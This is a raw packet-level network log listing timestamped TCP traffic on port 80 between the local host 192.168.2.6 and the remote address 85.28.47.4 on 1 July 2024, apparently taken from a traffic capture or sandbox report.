Jul 1, 2024 07:20:43.546757936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546772003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546793938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546807051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546830893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546839952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546865940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546880007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546900034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546915054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546933889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546951056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546968937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546982050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547002077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547018051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547035933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547046900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547070980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547082901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547106981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547118902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547152996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547153950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547188044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547199965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547224045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547235012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547260046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547277927 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547302008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547307014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547344923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547346115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547391891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547399044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547435045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547446966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547472954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547486067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547508955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547522068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547523022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547549963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547555923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547568083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547590971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547604084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547626019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547641993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547660112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547677040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547694921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547707081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547729969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547744036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547765017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547768116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547801018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547805071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547833920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547838926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547877073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547887087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547931910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.547940016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547974110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.547982931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548007965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548016071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548042059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548053980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548074961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548083067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548111916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548120975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548156977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548163891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548207045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548230886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548240900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548247099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548275948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548281908 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548310995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548320055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548346043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548355103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548378944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548389912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548415899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548425913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548450947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548461914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548490047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548501968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548554897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548558950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548590899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548600912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548635960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548640966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548674107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548696995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548712969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548727989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548765898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548772097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548799038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548804998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548836946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548845053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548851013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548871040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548883915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548890114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548921108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548928976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548955917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.548964977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.548990011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549000025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549026012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549037933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549061060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549067020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549097061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549099922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549130917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549135923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549168110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549175024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549196959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549215078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549232960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549232960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549267054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549276114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549302101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549309969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549335957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549345970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549367905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549380064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549405098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549417973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549439907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549444914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549474955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549479008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549515009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549519062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549525976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549554110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549561024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549567938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549596071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549603939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549632072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549642086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549665928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549676895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549700975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549711943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549736977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549746037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549772978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549781084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549807072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.549819946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.549849033 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.646651983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.646697998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.646730900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.646763086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.646820068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.646852970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.646886110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.646918058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.646950006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.646965027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.646965981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.646965981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.646965981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.646965981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.646965981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.646965981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.646997929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647011042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647032022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647043943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647067070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647075891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647110939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647119045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647154093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647172928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647186995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647197962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647227049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647238016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647263050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647277117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647296906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647314072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647331953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647349119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647377014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647378922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647414923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647428036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647449017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647464991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647484064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647495985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647524118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647533894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647558928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647573948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647593975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647610903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647628069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647643089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647660971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647677898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647696018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647706985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647731066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647752047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647766113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647775888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647799015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647814035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647833109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647866011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647869110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647886992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647907019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647917986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647950888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.647957087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.647991896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648005009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648025036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648037910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648060083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648073912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648096085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648108959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648130894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648144960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648164034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648179054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648197889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648207903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648231030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648241997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648266077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648281097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648298979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648313999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648330927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648346901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648365974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648377895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648401022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648416042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648436069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648456097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648468018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648469925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648519039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648551941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648586988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648601055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648617983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648637056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648650885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648655891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648689032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648700953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648722887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648736000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648832083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648849964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648864031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648885012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648897886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648909092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648931026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648948908 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648966074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.648976088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.648998976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649013996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649032116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649044991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649065971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649082899 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649099112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649116039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649132013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649143934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649167061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649179935 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649200916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649215937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649235010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649250031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649271011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649282932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649306059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649316072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649341106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649353027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649374962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649386883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649410963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649422884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649446011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649477959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649512053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649544954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649544954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649600029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649652958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649684906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649704933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649732113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649735928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649770021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649785042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649804115 CEST	80	49711	85.28.47.4	192.168.2.6
